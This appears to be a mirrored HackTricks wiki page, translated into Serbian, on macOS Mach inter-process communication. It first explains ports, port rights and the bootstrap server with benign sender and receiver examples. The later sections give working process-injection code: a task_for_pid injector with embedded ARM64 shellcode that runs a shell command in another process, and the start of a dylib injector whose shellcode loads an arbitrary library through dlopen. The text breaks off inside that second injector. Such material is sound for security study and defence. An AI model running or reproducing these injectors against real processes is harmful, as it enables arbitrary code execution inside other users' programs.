mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
837 lines
31 KiB
Markdown
837 lines
31 KiB
Markdown
# macOS IPC - Inter Process Communication
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|
|
|
|
## Mach messaging via Ports
|
|
|
|
### Basic Information
|
|
|
|
Mach koristi **zadace** kao **najmanju jedinicu** za deljenje resursa, a svaka zadaca može sadržati **više niti**. Ove **zadace i niti su mapirane 1:1 na POSIX procese i niti**.
|
|
|
|
Komunikacija između zadataka se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmerne komunikacione kanale. **Poruke se prenose između portova**, koji deluju kao **redovi poruka** kojima upravlja kernel.
|
|
|
|
Svaki proces ima **IPC tabelu**, u kojoj je moguće pronaći **mach portove procesa**. Ime mach porta je zapravo broj (pokazivač na kernel objekat).
|
|
|
|
Proces takođe može poslati ime porta sa nekim pravima **drugoj zadaci** i kernel će učiniti da se ovaj unos u **IPC tabeli druge zadace** pojavi.
|
|
|
|
### Port Rights
|
|
|
|
Prava portova, koja definišu koje operacije zadaca može izvesti, ključna su za ovu komunikaciju. Moguća **prava portova** su ([definicije ovde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
|
|
|
- **Pravo primanja**, koje omogućava primanje poruka poslatih na port. Mach portovi su MPSC (više proizvođača, jedan potrošač) redovi, što znači da može postojati samo **jedno pravo primanja za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore datoteka za kraj čitanja jedne cevi).
|
|
- **Zadaca sa pravom primanja** može primati poruke i **kreirati prava slanja**, omogućavajući joj da šalje poruke. Prvobitno samo **vlastita zadaca ima pravo primanja nad svojim portom**.
|
|
- **Pravo slanja**, koje omogućava slanje poruka na port.
|
|
- Pravo slanja može biti **klonirano** tako da zadaca koja poseduje pravo slanja može klonirati to pravo i **dodeliti ga trećoj zadaci**.
|
|
- **Pravo slanja jednom**, koje omogućava slanje jedne poruke na port i zatim nestaje.
|
|
- **Pravo skupa portova**, koje označava _skup portova_ umesto jednog port. Uklanjanje poruke iz skupa portova uklanja poruku iz jednog od portova koje sadrži. Skupovi portova mogu se koristiti za slušanje na nekoliko portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unixu.
|
|
- **Mrtvo ime**, koje nije stvarno pravo porta, već samo mesto za rezervaciju. Kada se port uništi, sva postojeća prava porta na port postaju mrtva imena.
|
|
|
|
**Zadace mogu prenositi PRAVA SLANJA drugima**, omogućavajući im da šalju poruke nazad. **PRAVA SLANJA se takođe mogu klonirati, tako da zadaca može duplicirati i dati pravo trećoj zadaci**. Ovo, u kombinaciji sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između zadataka.
|
|
|
|
### File Ports
|
|
|
|
File portovi omogućavaju enkapsulaciju deskriptora datoteka u Mac portovima (koristeći prava Mach portova). Moguće je kreirati `fileport` iz datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`.
|
|
|
|
### Establishing a communication
|
|
|
|
#### Steps:
|
|
|
|
Kao što je pomenuto, da bi se uspostavio komunikacioni kanal, uključuje se **bootstrap server** (**launchd** u mac).
|
|
|
|
1. Zadaca **A** inicira **novi port**, dobijajući **PRAVO PRIMANJA** u procesu.
|
|
2. Zadaca **A**, kao nosilac prava primanja, **generiše PRAVO SLANJA za port**.
|
|
3. Zadaca **A** uspostavlja **vezu** sa **bootstrap serverom**, pružajući **ime usluge porta** i **PRAVO SLANJA** kroz proceduru poznatu kao bootstrap registracija.
|
|
4. Zadaca **B** komunicira sa **bootstrap serverom** da izvrši bootstrap **pretragu za imenom usluge**. Ako je uspešna, **server duplicira PRAVO SLANJA** primljeno od Zadace A i **prenosi ga Zadaci B**.
|
|
5. Nakon sticanja PRAVA SLANJA, Zadaca **B** je sposobna da **formuliše** **poruku** i pošalje je **Zadaci A**.
|
|
6. Za dvosmernu komunikaciju obično zadaca **B** generiše novi port sa **PRAVOM PRIMANJA** i **PRAVOM SLANJA**, i daje **PRAVO SLANJA Zadaci A** kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija).
|
|
|
|
Bootstrap server **ne može autentifikovati** ime usluge koje tvrdi da poseduje zadaca. To znači da bi **zadaca** potencijalno mogla **imitirati bilo koju sistemsku zadacu**, kao što je lažno **tvrđenje o imenu usluge za autorizaciju** i zatim odobravanje svake zahteve.
|
|
|
|
Zatim, Apple čuva **imena usluga koje obezbeđuje sistem** u sigurnim konfiguracionim datotekama, smeštenim u **SIP-zaštićenim** direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena usluge, **pripadajući binarni fajl se takođe čuva**. Bootstrap server će kreirati i zadržati **PRAVO PRIMANJA za svako od ovih imena usluga**.
|
|
|
|
Za ove unapred definisane usluge, **proces pretrage se malo razlikuje**. Kada se ime usluge pretražuje, launchd dinamički pokreće uslugu. Novi radni tok je sledeći:
|
|
|
|
- Zadaca **B** inicira bootstrap **pretragu** za imenom usluge.
|
|
- **launchd** proverava da li zadaca radi i ako ne, **pokreće** je.
|
|
- Zadaca **A** (usluga) vrši **bootstrap prijavu**. Ovde, **bootstrap** server kreira PRAVO SLANJA, zadržava ga i **prenosi PRAVO PRIMANJA Zadaci A**.
|
|
- launchd duplicira **PRAVO SLANJA i šalje ga Zadaci B**.
|
|
- Zadaca **B** generiše novi port sa **PRAVOM PRIMANJA** i **PRAVOM SLANJA**, i daje **PRAVO SLANJA Zadaci A** (usluga) kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija).
|
|
|
|
Međutim, ovaj proces se primenjuje samo na unapred definisane sistemske zadace. Ne-sistemske zadace i dalje funkcionišu kao što je prvobitno opisano, što potencijalno može omogućiti imitaciju.
|
|
|
|
### A Mach Message
|
|
|
|
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
|
|
|
Funkcija `mach_msg`, koja je u suštini sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka koja se šalje bude prvi argument. Ova poruka mora početi sa strukturom `mach_msg_header_t`, nakon koje sledi stvarni sadržaj poruke. Struktura je definisana na sledeći način:
|
|
```c
|
|
typedef struct {
|
|
mach_msg_bits_t msgh_bits;
|
|
mach_msg_size_t msgh_size;
|
|
mach_port_t msgh_remote_port;
|
|
mach_port_t msgh_local_port;
|
|
mach_port_name_t msgh_voucher_port;
|
|
mach_msg_id_t msgh_id;
|
|
} mach_msg_header_t;
|
|
```
|
|
Procesi koji poseduju _**pravo primanja**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaocima** se dodeljuje _**pravo slanja**_ ili _**pravo slanja jednom**_. Pravo slanja jednom je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.
|
|
|
|
Da bi se postigla laka **dvosmerna komunikacija**, proces može odrediti **mach port** u mach **zaglavlju poruke** nazvanom _port za odgovor_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na ovu poruku. Bit zastavice u **`msgh_bits`** mogu se koristiti da **naznače** da bi **pravo slanja jednom** trebalo da se izvede i prenese za ovaj port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
|
|
|
> [!TIP]
|
|
> Imajte na umu da se ova vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ali **obično se kreiraju različiti portovi** kao što je objašnjeno ranije da bi se stvorila dvosmerna komunikacija.
|
|
|
|
Ostala polja zaglavlja poruke su:
|
|
|
|
- `msgh_size`: veličina celog paketa.
|
|
- `msgh_remote_port`: port na kojem je ova poruka poslata.
|
|
- `msgh_voucher_port`: [mach vaučeri](https://robert.sesek.com/2023/6/mach_vouchers.html).
|
|
- `msgh_id`: ID ove poruke, koji tumači primalac.
|
|
|
|
> [!CAUTION]
|
|
> Imajte na umu da se **mach poruke šalju preko \_mach porta**\_, koji je **kanal za komunikaciju sa jednim primaocem** i **više pošiljalaca** ugrađen u mach kernel. **Više procesa** može **slati poruke** na mach port, ali u bilo kojem trenutku samo **jedan proces može čitati** iz njega.
|
|
|
|
### Nabrojati portove
|
|
```bash
|
|
lsmp -p <pid>
|
|
```
|
|
Možete instalirati ovaj alat na iOS preuzimanjem sa [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
|
|
|
### Primer koda
|
|
|
|
Obratite pažnju kako **pošiljalac** **dodeljuje** port, kreira **pravo slanja** za ime `org.darlinghq.example` i šalje ga **bootstrap serveru** dok je pošiljalac tražio **pravo slanja** tog imena i koristio ga za **slanje poruke**.
|
|
|
|
{{#tabs}}
|
|
{{#tab name="receiver.c"}}
|
|
```c
|
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
|
// gcc receiver.c -o receiver
|
|
|
|
#include <stdio.h>
|
|
#include <mach/mach.h>
|
|
#include <servers/bootstrap.h>
|
|
|
|
int main() {
|
|
|
|
// Create a new port.
|
|
mach_port_t port;
|
|
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
|
if (kr != KERN_SUCCESS) {
|
|
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
|
return 1;
|
|
}
|
|
printf("mach_port_allocate() created port right name %d\n", port);
|
|
|
|
|
|
// Give us a send right to this port, in addition to the receive right.
|
|
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
|
if (kr != KERN_SUCCESS) {
|
|
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
|
return 1;
|
|
}
|
|
printf("mach_port_insert_right() inserted a send right\n");
|
|
|
|
|
|
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
|
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
|
if (kr != KERN_SUCCESS) {
|
|
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
|
return 1;
|
|
}
|
|
printf("bootstrap_register()'ed our port\n");
|
|
|
|
|
|
// Wait for a message.
|
|
struct {
|
|
mach_msg_header_t header;
|
|
char some_text[10];
|
|
int some_number;
|
|
mach_msg_trailer_t trailer;
|
|
} message;
|
|
|
|
kr = mach_msg(
|
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
|
MACH_RCV_MSG, // Options. We're receiving a message.
|
|
0, // Size of the message being sent, if sending.
|
|
sizeof(message), // Size of the buffer for receiving.
|
|
port, // The port to receive a message on.
|
|
MACH_MSG_TIMEOUT_NONE,
|
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
|
);
|
|
if (kr != KERN_SUCCESS) {
|
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
|
return 1;
|
|
}
|
|
printf("Got a message\n");
|
|
|
|
message.some_text[9] = 0;
|
|
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|
}
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="sender.c"}}
|
|
```c
|
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
|
// gcc sender.c -o sender
|
|
|
|
#include <stdio.h>
|
|
#include <mach/mach.h>
|
|
#include <servers/bootstrap.h>
|
|
|
|
int main() {
|
|
|
|
// Lookup the receiver port using the bootstrap server.
|
|
mach_port_t port;
|
|
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
|
if (kr != KERN_SUCCESS) {
|
|
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
|
return 1;
|
|
}
|
|
printf("bootstrap_look_up() returned port right name %d\n", port);
|
|
|
|
|
|
// Construct our message.
|
|
struct {
|
|
mach_msg_header_t header;
|
|
char some_text[10];
|
|
int some_number;
|
|
} message;
|
|
|
|
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
|
message.header.msgh_remote_port = port;
|
|
message.header.msgh_local_port = MACH_PORT_NULL;
|
|
|
|
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
|
message.some_number = 35;
|
|
|
|
// Send the message.
|
|
kr = mach_msg(
|
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
|
MACH_SEND_MSG, // Options. We're sending a message.
|
|
sizeof(message), // Size of the message being sent.
|
|
0, // Size of the buffer for receiving.
|
|
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
|
MACH_MSG_TIMEOUT_NONE,
|
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
|
);
|
|
if (kr != KERN_SUCCESS) {
|
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
|
return 1;
|
|
}
|
|
printf("Sent a message\n");
|
|
}
|
|
```
|
|
{{#endtab}}
|
|
{{#endtabs}}
|
|
|
|
### Privilegovani portovi
|
|
|
|
- **Host port**: Ako proces ima **Send** privilegiju preko ovog porta, može dobiti **informacije** o **sistemu** (npr. `host_processor_info`).
|
|
- **Host priv port**: Proces sa **Send** pravom preko ovog porta može izvoditi **privilegovane akcije** kao što je učitavanje kernel ekstenzije. **Proces mora biti root** da bi dobio ovu dozvolu.
|
|
- Pored toga, da bi se pozvala **`kext_request`** API, potrebno je imati druge privilegije **`com.apple.private.kext*`** koje se daju samo Apple binarnim datotekama.
|
|
- **Task name port:** Nepprivilegovana verzija _task porta_. Referencira zadatak, ali ne omogućava njegovo kontrolisanje. Jedina stvar koja se čini dostupnom kroz njega je `task_info()`.
|
|
- **Task port** (poznat i kao kernel port)**:** Sa Send dozvolom preko ovog porta moguće je kontrolisati zadatak (čitati/pisati memoriju, kreirati niti...).
|
|
- Pozovite `mach_task_self()` da **dobijete ime** za ovaj port za pozivajući zadatak. Ovaj port se samo **nasleđuje** kroz **`exec()`**; novi zadatak kreiran sa `fork()` dobija novi task port (kao poseban slučaj, zadatak takođe dobija novi task port nakon `exec()` u suid binarnoj datoteci). Jedini način da se pokrene zadatak i dobije njegov port je da se izvede ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) dok se radi `fork()`.
|
|
- Ovo su ograničenja za pristup portu (iz `macos_task_policy` iz binarne datoteke `AppleMobileFileIntegrity`):
|
|
- Ako aplikacija ima **`com.apple.security.get-task-allow` privilegiju**, procesi iz **iste korisničke grupe mogu pristupiti task portu** (obično dodato od strane Xcode za debagovanje). Proces **notarizacije** to neće dozvoliti za produkcijske verzije.
|
|
- Aplikacije sa **`com.apple.system-task-ports`** privilegijom mogu dobiti **task port za bilo koji** proces, osim kernela. U starijim verzijama to se zvalo **`task_for_pid-allow`**. Ovo se dodeljuje samo Apple aplikacijama.
|
|
- **Root može pristupiti task portovima** aplikacija **koje nisu** kompajlirane sa **hardened** runtime-om (i nisu od Apple-a).
|
|
|
|
### Shellcode injekcija u niti putem Task porta
|
|
|
|
Možete preuzeti shellcode sa:
|
|
|
|
|
|
{{#ref}}
|
|
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
|
{{#endref}}
|
|
|
|
{{#tabs}}
|
|
{{#tab name="mysleep.m"}}
|
|
```objectivec
|
|
// clang -framework Foundation mysleep.m -o mysleep
|
|
// codesign --entitlements entitlements.plist -s - mysleep
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
double performMathOperations() {
|
|
double result = 0;
|
|
for (int i = 0; i < 10000; i++) {
|
|
result += sqrt(i) * tan(i) - cos(i);
|
|
}
|
|
return result;
|
|
}
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
@autoreleasepool {
|
|
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
|
processIdentifier]);
|
|
while (true) {
|
|
[NSThread sleepForTimeInterval:5];
|
|
|
|
performMathOperations(); // Silent action
|
|
|
|
[NSThread sleepForTimeInterval:5];
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
```
|
|
{{#endtab}}
|
|
|
|
{{#tab name="entitlements.plist"}}
|
|
```xml
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>com.apple.security.get-task-allow</key>
|
|
<true/>
|
|
</dict>
|
|
</plist>
|
|
```
|
|
{{#endtab}}
|
|
{{#endtabs}}
|
|
|
|
**Kompajlirati** prethodni program i dodati **entitlements** da bi mogli da injektujete kod sa istim korisnikom (ako ne, moraćete da koristite **sudo**).
|
|
|
|
<details>
|
|
|
|
<summary>sc_injector.m</summary>
|
|
```objectivec
|
|
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#import <AppKit/AppKit.h>
|
|
#include <mach/mach_vm.h>
|
|
#include <sys/sysctl.h>
|
|
|
|
|
|
#ifdef __arm64__
|
|
|
|
kern_return_t mach_vm_allocate
|
|
(
|
|
vm_map_t target,
|
|
mach_vm_address_t *address,
|
|
mach_vm_size_t size,
|
|
int flags
|
|
);
|
|
|
|
kern_return_t mach_vm_write
|
|
(
|
|
vm_map_t target_task,
|
|
mach_vm_address_t address,
|
|
vm_offset_t data,
|
|
mach_msg_type_number_t dataCnt
|
|
);
|
|
|
|
|
|
#else
|
|
#include <mach/mach_vm.h>
|
|
#endif
|
|
|
|
|
|
#define STACK_SIZE 65536
|
|
#define CODE_SIZE 128
|
|
|
|
// ARM64 shellcode that executes touch /tmp/lalala
|
|
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
|
|
|
|
|
int inject(pid_t pid){
|
|
|
|
task_t remoteTask;
|
|
|
|
// Get access to the task port of the process we want to inject into
|
|
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
|
if (kr != KERN_SUCCESS) {
|
|
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
|
return (-1);
|
|
}
|
|
else{
|
|
printf("Gathered privileges over the task port of process: %d\n", pid);
|
|
}
|
|
|
|
// Allocate memory for the stack
|
|
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
|
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
|
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
|
return (-2);
|
|
}
|
|
else
|
|
{
|
|
|
|
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
|
}
|
|
|
|
// Allocate memory for the code
|
|
remoteCode64 = (vm_address_t) NULL;
|
|
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
|
return (-2);
|
|
}
|
|
|
|
|
|
// Write the shellcode to the allocated memory
|
|
kr = mach_vm_write(remoteTask, // Task port
|
|
remoteCode64, // Virtual Address (Destination)
|
|
(vm_address_t) injectedCode, // Source
|
|
0xa9); // Length of the source
|
|
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
|
return (-3);
|
|
}
|
|
|
|
|
|
// Set the permissions on the allocated code memory
|
|
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
|
return (-4);
|
|
}
|
|
|
|
// Set the permissions on the allocated stack memory
|
|
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
{
|
|
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
|
return (-4);
|
|
}
|
|
|
|
// Create thread to run shellcode
|
|
struct arm_unified_thread_state remoteThreadState64;
|
|
thread_act_t remoteThread;
|
|
|
|
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
|
|
|
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
|
//remoteStack64 -= 8; // need alignment of 16
|
|
|
|
const char* p = (const char*) remoteCode64;
|
|
|
|
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
|
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
|
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
|
|
|
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
|
|
|
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
|
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
|
return (-3);
|
|
}
|
|
|
|
return (0);
|
|
}
|
|
|
|
pid_t pidForProcessName(NSString *processName) {
|
|
NSArray *arguments = @[@"pgrep", processName];
|
|
NSTask *task = [[NSTask alloc] init];
|
|
[task setLaunchPath:@"/usr/bin/env"];
|
|
[task setArguments:arguments];
|
|
|
|
NSPipe *pipe = [NSPipe pipe];
|
|
[task setStandardOutput:pipe];
|
|
|
|
NSFileHandle *file = [pipe fileHandleForReading];
|
|
|
|
[task launch];
|
|
|
|
NSData *data = [file readDataToEndOfFile];
|
|
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
|
|
|
return (pid_t)[string integerValue];
|
|
}
|
|
|
|
BOOL isStringNumeric(NSString *str) {
|
|
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
|
|
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
|
|
return r.location == NSNotFound;
|
|
}
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
@autoreleasepool {
|
|
if (argc < 2) {
|
|
NSLog(@"Usage: %s <pid or process name>", argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
NSString *arg = [NSString stringWithUTF8String:argv[1]];
|
|
pid_t pid;
|
|
|
|
if (isStringNumeric(arg)) {
|
|
pid = [arg intValue];
|
|
} else {
|
|
pid = pidForProcessName(arg);
|
|
if (pid == 0) {
|
|
NSLog(@"Error: Process named '%@' not found.", arg);
|
|
return 1;
|
|
}
|
|
else{
|
|
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
|
|
}
|
|
}
|
|
|
|
inject(pid);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
</details>
|
|
```bash
|
|
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|
./inject <pi or string>
|
|
```
|
|
### Dylib Injection in thread via Task port
|
|
|
|
U macOS **nitne** mogu biti manipulirane putem **Mach** ili korišćenjem **posix `pthread` api**. Nit koju smo generisali u prethodnoj injekciji, generisana je koristeći Mach api, tako da **nije posix kompatibilna**.
|
|
|
|
Bilo je moguće **injektovati jednostavan shellcode** za izvršavanje komande jer **nije bilo potrebno raditi sa posix** kompatibilnim apijima, samo sa Mach. **Složenije injekcije** bi zahtevale da **nit** takođe bude **posix kompatibilna**.
|
|
|
|
Stoga, da bi se **poboljšala nit**, trebalo bi pozvati **`pthread_create_from_mach_thread`** koja će **kreirati validan pthread**. Tada bi ovaj novi pthread mogao **pozvati dlopen** da **učita dylib** iz sistema, tako da umesto pisanja novog shellcode-a za izvođenje različitih akcija, moguće je učitati prilagođene biblioteke.
|
|
|
|
Možete pronaći **primer dylibs** u (na primer, onaj koji generiše log i zatim možete slušati):
|
|
|
|
|
|
{{#ref}}
|
|
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
|
{{#endref}}
|
|
|
|
<details>
|
|
|
|
<summary>dylib_injector.m</summary>
|
|
```objectivec
|
|
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
|
|
#include <dlfcn.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <mach/mach.h>
|
|
#include <mach/error.h>
|
|
#include <errno.h>
|
|
#include <stdlib.h>
|
|
#include <sys/sysctl.h>
|
|
#include <sys/mman.h>
|
|
|
|
#include <sys/stat.h>
|
|
#include <pthread.h>
|
|
|
|
|
|
#ifdef __arm64__
|
|
//#include "mach/arm/thread_status.h"
|
|
|
|
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
|
|
// And I say, bullshit.
|
|
kern_return_t mach_vm_allocate
|
|
(
|
|
vm_map_t target,
|
|
mach_vm_address_t *address,
|
|
mach_vm_size_t size,
|
|
int flags
|
|
);
|
|
|
|
kern_return_t mach_vm_write
|
|
(
|
|
vm_map_t target_task,
|
|
mach_vm_address_t address,
|
|
vm_offset_t data,
|
|
mach_msg_type_number_t dataCnt
|
|
);
|
|
|
|
|
|
#else
|
|
#include <mach/mach_vm.h>
|
|
#endif
|
|
|
|
|
|
#define STACK_SIZE 65536
|
|
#define CODE_SIZE 128
|
|
|
|
|
|
char injectedCode[] =
|
|
|
|
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
|
|
|
|
// Call pthread_set_self
|
|
|
|
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
|
|
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
|
|
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
|
|
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
|
|
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
|
|
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
|
|
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
|
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
|
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
|
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
|
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
|
|
|
// Call dlopen with the path to the library
|
|
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
|
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
|
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
|
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
|
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
|
|
|
// Call pthread_exit
|
|
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
|
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
|
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
|
|
|
"PTHRDCRT" // <-
|
|
"PTHRDEXT" // <-
|
|
"DLOPEN__" // <-
|
|
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
|
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
|
|
|
|
|
|
|
|
|
int inject(pid_t pid, const char *lib) {
|
|
|
|
task_t remoteTask;
|
|
struct stat buf;
|
|
|
|
// Check if the library exists
|
|
int rc = stat (lib, &buf);
|
|
|
|
if (rc != 0)
|
|
{
|
|
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
|
//return (-9);
|
|
}
|
|
|
|
// Get access to the task port of the process we want to inject into
|
|
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
|
if (kr != KERN_SUCCESS) {
|
|
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
|
return (-1);
|
|
}
|
|
else{
|
|
printf("Gathered privileges over the task port of process: %d\n", pid);
|
|
}
|
|
|
|
// Allocate memory for the stack
|
|
